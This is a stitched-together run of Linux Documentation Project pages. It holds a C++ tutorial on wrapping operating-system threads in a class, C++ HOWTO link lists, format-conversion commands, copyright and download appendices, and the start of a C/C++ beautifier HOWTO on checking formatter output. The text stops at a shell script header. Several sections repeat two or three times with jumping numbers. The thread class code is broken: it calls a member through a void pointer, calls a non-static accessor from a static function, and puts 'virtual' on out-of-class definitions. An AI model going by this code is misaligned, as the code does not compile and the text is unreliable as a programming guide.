To understand threads one must think of several programs running at once. Imagine further that all these programs have access to the same set of global variables and function calls. Each of these programs would represent a thread of execution and is thus called a thread. The important differentiation is that each thread does not have to wait for any other thread to proceed. All the threads proceed simultaneously. To use a metaphor, they are like runners in a race, no runner waits for another runner. They all proceed at their own rate.

Why use threads you might ask. Well threads can often improve the performance of an application and they do not incur significant overhead to implement. They effectively give good bang for a buck. Imagine an image server program that must service requests for images. The program gets a request for an image from another program. It must then retrieve the image from a database and send it to the program that requested it. If the server were implemented in a single threaded approach, only one program could request at a time. When it was busy retrieving an image and sending it to a requestor, it could not service other requests. Of course one could still implement such a system without using threads. It would be a challenge though. Using threads, one can very naturally design a system to handle multiple requests. A simple approach would be to create a thread for each request received. The main thread would create this thread upon receipt of a request. The thread would then be responsible for the conversation with the client program from that point on. After retrieving the image, the thread would terminate itself. This would provide a smooth system that would continue to service requests even though it was busy serviceing other requests at the same time.

Basic Approach

The create a thread, you must specify a function that will become the entry point for the thread. At the operating system level, this is a normal function. We have to do a few tricks to wrap a C++ class around it because the entry function cannot be a normal member function of a class. However, it can be a static member function of a class. This is what we will use as the entry point. There is a gotcha here though. Static member functions do not have access to the this pointer of a C++ object. They can only access static data. Fortunately, there is way to do it. Thread entry point functions take a void * as a parameter so that the caller can typecast any data and pass in to the thread. We will use this to pass this to the static function. The static function will then typecast the void * and use it to call a non static member function.

The Implementation

It should be mentioned that we are going to discuss a thread class with limited functionality. It is possible to do more with threads than this class will allow.

class Thread
{
   public:
      Thread();
      int Start(void * arg);
   protected:
      int Run(void * arg);
      static void * EntryPoint(void*);
      virtual void Setup();
      virtual void Execute(void*);
      void * Arg() const {return Arg_;}
      void Arg(void* a){Arg_ = a;}
   private:
      THREADID ThreadId_;
      void * Arg_;

};

Thread::Thread() {}

int Thread::Start(void * arg)
{
   Arg(arg); // store user data
   int code = thread_create(Thread::EntryPoint, this, & ThreadId_);
   return code;
}

int Thread::Run(void * arg)
{
   Setup();
   Execute( arg );
}

/*static */
void * Thread::EntryPoint(void * pthis)
{
   Thread * pt = (Thread*)pthis;
   pthis->Run( Arg() );
}

virtual void Thread::Setup()
{
        // Do any setup here
}

virtual void Thread::Execute(void* arg)
{
        // Your code goes here
}

It is important to understand that we are wrapping a C++ object around a thread. Each object will provide an interface to a single thread. The thread and the object are not the same. The object can exist without a thread. In this implementation, the thread does not actually exist until the Start function is called.

Notice that we store the user argument in the class. This is necessary because we need a place to store it temporarily until the thread is started. The operating system thread call allows us to pass an argument but we have used it to pass the this pointer. So we store the real user argument in the class itself and when the execute function is called it can get access to the argument.

Thread(); This is the constructor.

int Start(void * arg); This function provides the means to create the thread and start it going. The argument arg provides a way for user data to be passed into the thread. Start() creates the thread by calling the operating system thread creation function.

int Run(void * arg); This is a protected function that should never be tampered with.

static void * EntryPoint(void * pthis); This function serves as the entry point to the thread. It simply casts pthis to Thread * and

virtual void Setup(); This function is called after the thread has been created but before Execute() is called. If you override this function, remember to call the parent class Execute().

virtual void Execute(void *); You must override this function to provide your own functionality.

Using The Thread Class

To use the thread class, you derive a new class. you override the Execute() function where you provide your own functionality. You may override the Setup() function to do any start up duties before Execute is called. If you override Setup(), remember to call the parent class Setup().

Conclusion

This section presented an implementation of a thread class written in C++. Of course it is a simple approach but it provides a sound foundation upon which to build a more robust design.

If you have comments or suggestions, email to Ryan Teixeira


C++ Programming HOW-TO: C++ Utilities

 Next Previous Contents

19. C++ Utilities

Visit the following sites for C++ Utilities

  • Portable C++ utilities from http://www.boost.org. The Boost web site provides free peer-reviewed portable C++ source libraries. The emphasis is on libraries which work well with the C++ Standard Library. One goal is to establish "existing practice" and provide reference implementations so that the Boost libraries are suitable for eventual standardization.

  • The smart pointer library from http://www.boost.org/libs/smart_ptr/index.htm includes five smart pointer class templates. Smart pointers ease the management of memory dynamically allocated with C++ new expressions. In addition, scoped_ptr can ease the management of memory dynamically allocated in other ways.

  • C++ Binary File I/O http://www.angelfire.com/country/aldev0/cpphowto/cpp_BinaryFileIO.html

  • Portability Guide http://www.angelfire.com/country/aldev0/cpphowto/cpp_PortabilityGuide.html

  • Snippets collections of C++ routines http://www.angelfire.com/country/aldev0/cpphowto/cpp_Snippets.html and at snippets site

  • escape ISB for C++ - Provides information on how to develop and program distributed, object-based applications in C++ for Windows and Unix using the Netscape Internet Service Broker http://docs.iplanet.com/docs/manuals/enterprise/cpluspg/contents.htm

  • Common C++ http://www.voxilla.org/projects/projape.html

  • Large List of free C++ libs http://www.thefreecountry.com/developercity/freelib.html

  • C++ Tools http://development.freeservers.com

  • C++ Tools CUJ http://www.cuj.com/code

  • C++libs Univ of vaasa http://garbo.uwasa.fi/pc/c-lang.html

19.1 Memory Tools

Use the following memory debugging tools

  • The "MPatrol" is a very powerful memory debugging tool. It is at http://www.cbmamiga.demon.co.uk/mpatrol and at http://www.rpmfind.net go here and search mpatrol. If you are using Linux then you must download the mpatrol*.src.rpm file from the rpmfind.net. To update the mpatrol*.src.rpm to latest version, you can use the old mpatrol.spec file and latest mpatrol*.tar.gz file to rebuild new *.src.rpm.

  • On Linux contrib cdrom see mem_test*.rpm package and at http://www.rpmfind.net go here and search mem_test.

  • On Linux cdrom see ElectricFence*.rpm package and at http://www.rpmfind.net go here and search electricfence.

  • Purify Tool from Rational Software Corp http://www.rational.com

  • Insure++ Tool from Parasoft Corp http://www.parasoft.com

  • Linux Tools at http://www.xnet.com/~blatura/linapp6.html#tools

  • Search the Internet engines like Google, Yahoo, Lycos, Excite, Mamma.com for keyword "Linux memory debugging tools".


C++ Programming HOW-TO: Other Formats of this Document

 Next Previous Contents

20. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

20.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

20.2 Convert linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

20.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

20.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


C++ Programming HOW-TO: Translations To Other Languages

 Next Previous Contents

21. Translations To Other Languages

  • Translation to Polish is at http://www.3miasto.net/~chq/c/howto/book1.htm thanks to Darek Ostolski Darek Ostolski
  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto
Any help from you to translate to other languages is welcome.


C++ Programming HOW-TO: Copyright

 Next Previous Contents

22. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional requests are that you retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you please intimate all the authors of this document. Brand names mentioned in this document are property of their respective owners.


C++ Programming HOW-TO: Appendix A String Program Files

 Next Previous Contents

23. Appendix A String Program Files

You can download all programs as a single tar.gz file from Download String and give the following command to unpack

bash$ man tar
bash$ tar ztvf C++Programming-HOWTO.tar.gz
This will list the table of contents

bash$ tar zxvf C++Programming-HOWTO.tar.gz
This will extract the files

  • Read the header file first and then see the example cpp program
    • String.h http://www.angelfire.com/country/aldev0/cpphowto/String.h
    • StringBuffer.h http://www.angelfire.com/country/aldev0/cpphowto/StringBuffer.h
    • StringTokenizer.h http://www.angelfire.com/country/aldev0/cpphowto/StringTokenizer.h
    • StringRW.h http://www.angelfire.com/country/aldev0/cpphowto/StringRW.h
    • string_multi.h http://www.angelfire.com/country/aldev0/cpphowto/string_multi.h
    • example_String.cpp example_String.cpp click on 'Source code of C++ howto'.

  • File manipulation class, only length() function is implemented..
    • File.h http://www.angelfire.com/country/aldev0/cpphowto/File.h
    • File.cpp File.cpp click on 'Source code of C++ howto'.

  • The zap() implemented here ..
    • my_malloc.h http://www.angelfire.com/country/aldev0/cpphowto/my_malloc.h
    • my_malloc.cpp my_malloc.cpp click on 'Source code of C++ howto'.

  • Implementation of String class...
    • String.cpp String.cpp click on 'Source code of C++ howto'.
    • StringTokenizer.cpp StringTokenizer.cpp click on 'Source code of C++ howto'.
    • StringBuffer.cpp StringBuffer.cpp click on 'Source code of C++ howto'.
    • StringRW.cpp StringRW.cpp click on 'Source code of C++ howto'.

  • Debug facilities ..
    • debug.h http://www.angelfire.com/country/aldev0/cpphowto/debug.h
    • debug.cpp debug.cpp click on 'Source code of C++ howto'.
    • Makefile.unx http://www.angelfire.com/country/aldev0/cpphowto/Makefile.unx

  • Sample Java file for testing the functionalities of String class ..
    • string.java http://www.angelfire.com/country/aldev0/cpphowto/string.java


C++ Programming HOW-TO: C++ Utilities

 Next Previous Contents

24. C++ Utilities

Visit the following sites for C++ Utilities

  • C++ Binary File I/O http://www.angelfire.com/country/aldev0/cpphowto/cpp_BinaryFileIO.html and at mirror site

  • Portability Guide http://www.angelfire.com/country/aldev0/cpphowto/cpp_PortabilityGuide.html and at mirror site

  • Snippets collections of C++ routines http://www.angelfire.com/country/aldev0/cpphowto/cpp_Snippets.html and at mirror site and at snippets site

  • escape ISB for C++ - Provides information on how to develop and program distributed, object-based applications in C++ for Windows and Unix using the Netscape Internet Service Broker http://docs.iplanet.com/docs/manuals/enterprise/cpluspg/contents.htm

  • Common c++ http://www.voxilla.org/projects/projape.html

  • Large List of free C++ libs http://www.thefreecountry.com/developercity/freelib.html

  • C++ Tools http://development.freeservers.com

  • C++ Tools CUJ http://www.cuj.com/code

  • C++libs Univ of vaasa http://garbo.uwasa.fi/pc/c-lang.html


C++ Programming HOW-TO: Other Formats of this Document

 Next Previous Contents

25. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

25.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

25.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Al Dev site
  • Download the cleanup_ld2db.pl perl script from from Al Dev site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

25.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

25.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


C++ Programming HOW-TO: Translations To Other Languages

 Next Previous Contents

26. Translations To Other Languages

  • Translation to Polish is at http://strony.wp.pl/wp/chq/c/howto/book1.htm thanks to Darek Ostolski Darek Ostolski
  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto
Any help from you to translate to other languages is welcome.


C++ Programming HOW-TO: Copyright

 Next Previous Contents

27. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional requests are that you retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you please intimate all the authors of this document. Brand names mentioned in this document are property of their respective owners.


C++ Programming HOW-TO: Appendix A String Program Files

 Next Previous Contents

28. Appendix A String Program Files

You can download all programs as a single tar.gz file from Download String and give the following command to unpack

bash$ man tar
bash$ tar ztvf C++Programming-HOWTO.tar.gz
This will list the table of contents

bash$ tar zxvf C++Programming-HOWTO.tar.gz
This will extract the files

  • Read the header file first and then see the example cpp program
    • String.h http://www.angelfire.com/country/aldev0/cpphowto/String.h
    • StringBuffer.h http://www.angelfire.com/country/aldev0/cpphowto/StringBuffer.h
    • StringTokenizer.h http://www.angelfire.com/country/aldev0/cpphowto/StringTokenizer.h
    • StringRW.h http://www.angelfire.com/country/aldev0/cpphowto/StringRW.h
    • string_multi.h http://www.angelfire.com/country/aldev0/cpphowto/string_multi.h
    • example_String.cpp http://www.angelfire.com/country/aldev0/cpphowto/example_String.cpp

  • File manipulation class, only length() function is implemented..
    • File.h http://www.angelfire.com/country/aldev0/cpphowto/File.h
    • File.cpp http://www.angelfire.com/country/aldev0/cpphowto/File.cpp

  • The zap() implemented here ..
    • my_malloc.h http://www.angelfire.com/country/aldev0/cpphowto/my_malloc.h
    • my_malloc.cpp http://www.angelfire.com/country/aldev0/cpphowto/my_malloc.cpp

  • Implementation of String class...
    • String.cpp http://www.angelfire.com/country/aldev0/cpphowto/String.cpp
    • StringTokenizer.cpp http://www.angelfire.com/country/aldev0/cpphowto/StringTokenizer.cpp
    • StringBuffer.cpp http://www.angelfire.com/country/aldev0/cpphowto/StringBuffer.cpp
    • StringRW.cpp http://www.angelfire.com/country/aldev0/cpphowto/StringRW.cpp

  • Debug facilities ..
    • debug.h http://www.angelfire.com/country/aldev0/cpphowto/debug.h
    • debug.cpp http://www.angelfire.com/country/aldev0/cpphowto/debug.cpp
    • Makefile http://www.angelfire.com/country/aldev0/cpphowto/Makefile

  • Sample java file for testing the functionalities of String class ..
    • string.java http://www.angelfire.com/country/aldev0/cpphowto/string.java


C++ Programming HOW-TO: Appendix A String Program Files

 Next Previous Contents

29. Appendix A String Program Files

You can download all programs as a single tar.gz file from Download String and give the following command to unpack

bash$ man tar
bash$ tar ztvf C++Programming-HOWTO.tar.gz
This will list the table of contents

bash$ tar zxvf C++Programming-HOWTO.tar.gz
This will extract the files

  • Read the header file first and then see the example cpp program
    • String.h http://www.angelfire.com/country/aldev0/cpphowto/String.h
    • StringBuffer.h http://www.angelfire.com/country/aldev0/cpphowto/StringBuffer.h
    • StringTokenizer.h http://www.angelfire.com/country/aldev0/cpphowto/StringTokenizer.h
    • StringRW.h http://www.angelfire.com/country/aldev0/cpphowto/StringRW.h
    • string_multi.h http://www.angelfire.com/country/aldev0/cpphowto/string_multi.h
    • example_String.cpp http://www.angelfire.com/country/aldev0/cpphowto/example_String.cpp

  • File manipulation class, only length() function is implemented..
    • File.h http://www.angelfire.com/country/aldev0/cpphowto/File.h
    • File.cpp http://www.angelfire.com/country/aldev0/cpphowto/File.cpp

  • The zap() implemented here ..
    • my_malloc.h http://www.angelfire.com/country/aldev0/cpphowto/my_malloc.h
    • my_malloc.cpp http://www.angelfire.com/country/aldev0/cpphowto/my_malloc.cpp

  • Implementation of string class...
    • String.cpp http://www.angelfire.com/country/aldev0/cpphowto/String.cpp
    • StringTokenizer.cpp http://www.angelfire.com/country/aldev0/cpphowto/StringTokenizer.cpp
    • StringBuffer.cpp http://www.angelfire.com/country/aldev0/cpphowto/StringBuffer.cpp
    • StringRW.cpp http://www.angelfire.com/country/aldev0/cpphowto/StringRW.cpp

  • Debug facilities ..
    • debug.h http://www.angelfire.com/country/aldev0/cpphowto/debug.h
    • debug.cpp http://www.angelfire.com/country/aldev0/cpphowto/debug.cpp
    • Makefile http://www.angelfire.com/country/aldev0/cpphowto/Makefile

  • Sample java file for testing the functionalities of String class ..
    • string.java http://www.angelfire.com/country/aldev0/cpphowto/string.java


C-C++ Beautifier HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v16.0, 27 April 2002

This document will help you to format (beautify) the C/C++ programs so that it is more readable and confirms to your site C/C++ coding standards. The information in this document applies to all the operating sytems that is - Linux, MS DOS, Apple Macintosh, Windows 95/NT/2000, BeOS, OS/2, IBM OSes, all flavors of Unix like Solaris, HPUX, AIX, SCO, Sinix, BSD, UnixWare, etc.. and to all other operating systems which support "C" compiler (it means almost all the operating systems on this planet!).

1. Introduction

2. How can I trust Beautifier programs??!!

  • 2.1 Method 1: Verfication Program for C++/C
  • 2.2 Method 2: Verfication Program for Java/C++/Others
  • 2.3 Method 3: Shell script: Verfication Program for C++/C

3. Beautifiers for other Languages

4. Related URLs

5. Other Formats of this Document

  • 5.1 Acrobat PDF format
  • 5.2 Convert Linuxdoc to Docbook format
  • 5.3 Convert to MS WinHelp format
  • 5.4 Reading various formats

6. Copyright


C-C++ Beautifier HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Coding standards for C/C++ or any language is required in order to make the programs more readable/understandable by programmers. There are C/C++ beautifiers (formating tools) to accomplish this goal. Formatted (beautified) code improves the productivity of programmers by 2 times!!

On Linux/Unixes there is a command called "indent" and "cb" . Refer to 'man indent' and 'man cb'. Note that indent and cb work for only "C" programs. For "C++" programs use "bcpp".

Important NOTE: To compile bcpp under unix, unpack bcpp.tar.gz and you MUST change directory to "code" and give a make. Do not change to "unix" directory and give a make. That will give lots of errors.

Download the beautifier program from one of the following

  • If you are having trouble downloading software from any of the sites below, then download for a small cost from my site at http://www.milkywaygalaxy.freeservers.com. The cost is very small to maintain this web site. Some of the free sites below are not maintained properly.

  • C++ : BCPP site is at http://dickey.his.com/bcpp/bcpp.html or at http://www.clark.net/pub/dickey. BCPP ftp site is at ftp://dickey.his.com/bcpp/bcpp.tar.gz
  • C++ : http://www.consultix-inc.com/c++b.html
  • C : http://www.chips.navy.mil/oasys/c/ and mirror at Oasys
  • C++ : http://www.semdesigns.com/Products/DMS/DMSToolkit.html
  • C++, C, Java and Oracle Pro-C Beautifier http://www.geocities.com/~starkville/main.html
  • C++, C beautifier http://users.erols.com/astronaut/vim/ccb-1.07.tar.gz and site at http://users.erols.com/astronaut/vim/#vimlinks_src
  • C++, C, Java, Perl beautifier CBP http://www.prismtk.de/docs/cbp
  • GC! GreatCode! is a powerful C/C++ source code beautifier Windows 95/98/NT/2000 http://perso.club-internet.fr/cbeaudet
  • CbVan for C, C++ and Java at http://www.geocities.com/~starkville/main.html
  • Artistic Style beautifier for C, C++, Java at http://sourceforge.net/projects/astyle http://astyle.sourceforge.net.
I used BCPP to format the C++ programs and it worked fine for me. You may want to check other tools and use the one which you may like the most.

BCPP was written by Steven De Toni at steve@alpha.ocbbs.gen.nz


C-C++ Beautifier HOW-TO: How can I trust Beautifier programs??!!

 Next Previous Contents

2. How can I trust Beautifier programs??!!

For 100% assurance you need a SCIENTIFIC way to validate and trust a beautifier program. The method described in this section will enable the beautifier program to be accepted as "trust-worthy" and reliable.

In order to verify that beautifier programs like bcpp, indent or cb is not damaging or changing the input source-code after formatting, you can use one of the following technique -

2.1 Method 1: Verfication Program for C++/C

Generate the object code from the original input source code using the compiler -

  g++ -c myprogram.cpp
Here g++ is GNU C++ compiler. This will create object output myprogram.o

Save this file -

   mv myprogram.o myprogram_orig.o

Now run bcpp -

   bcpp myprogram.cpp
This will create the formatted output program file myprogram.cpp and move the original file to myprogram.cpp.orig. Compile the new file with -
   g++ -c myprogram.cpp

Now use the unix 'diff' command to compare the two object files -

   diff myprogram.o myprogram_orig.o
Both these files MUST BE IDENTICAL. This verifies that bcpp is working perfectly. On DOS or Windows 95 you may want to use the free Cygnus Cygwin 'diff' or 'MKS' utilities.

If for some reason you are not able to diff the object files then you MUST use the assembly output as described below.

You can use the assembler output instead of object output from the C++ compiler for doing the comparison. Like -

    g++ -S myprogram.cpp
This creates myprogram.s. Verify with -
    diff myprogram.s myprogram_orig.s
This step gives 100% guarantee that your valuable source code is intact and bcpp is JUST doing ONLY formatting and is NOT changing or damaging your code in any way. This method gives you 100% quality assurance and life term or long term WARRANTY on beautifier programs like 'bcpp', 'cb' or 'indent'.

It is strongly recommended that you do these two steps every time you run beautifier programs like bcpp, indent or cb.

2.2 Method 2: Verfication Program for Java/C++/Others

Since you cannot compile the Java source code to machine code and you can compile Java source to byte-codes you cannot use the technique given in Method 1 above. When you do diff on Java class files it will always be different.

In this method, a different technique will be given which can be used to validate any beautifier program for Java. Also this method is quite powerful and can be used to validate any beautifier program for any language like C, C++, PERL, SQL, HTML or Java. Since all beautifier program simply rearrange or insert whitespaces , you can strip all the whitespaces from original source file and dump it to a file called verify1.out and strip all the whitespaces from beautified source file and dump it to a file called verify2.out. Now, do a diff on verify1.out and verify2.out. If there is no difference, then beautifier program is working properly. The method is not 100% perfect and can catch atleast 98% of the errors/bugs in the beautifier program. Use this method in conjunction with other methods. But this method is better than not having a verification at all and blindly trusting the beautifier program!!

Note: A whitespace can be one of following - blank space ' ', form-feed '\f', newline '\n', carriage return '\r', horizontal tab '\t' or vertical tab '\v'.

bash$ java StripWhitespaces  sample.java > verify1.out
bash$ java StripWhitespaces  sample_beutified.java > verify2.out
bash$ diff verify1.out verify2.out

bash$ java StripWhitespaces  sample.cpp > verify1.out
bash$ java StripWhitespaces  sample_beutified.cpp > verify2.out
bash$ diff verify1.out verify2.out

bash$ java StripWhitespaces  sample.sql > verify1.out
bash$ java StripWhitespaces  sample_beutified.sql > verify2.out
bash$ diff verify1.out verify2.out
The source code of StripWhitespaces Java program is not given here. It is left as an exercise for students (you) to write a small program in Java which will simply strip whitespaces from the input text file and output to standard console output. Students are also urged to write this small program (StripWhitespaces) in C, PERL, Unix shell script (Korn, Bourne) and AWK script. Students can see howto the same task can be accomplished in these five different languages and can do comparison of ease of programing. You should put a newline '\n' character after every 50 characters while generating verify1.out and verify2.out so that when you do a diff you can see on which lines differences are coming up. Otherwise, verify*.out files will just contain one line and it will be difficult to pin-point where exactly the beautifier program is failing (got this point ???).

2.3 Method 3: Shell script: Verfication Program for C++/C

This is a Korn shell script to verify beautifier program. Requires "pdksh*.rpm" from Linux 'contrib' cdrom. Save this file as 'text' file and chmod a+rx on it. You can re-write this shell script in PERL so that you can use it on Window 95/NT or MSDOS. Uncomment the PRGM variable to point to bcpp, cb or indent

#!/bin/ksh

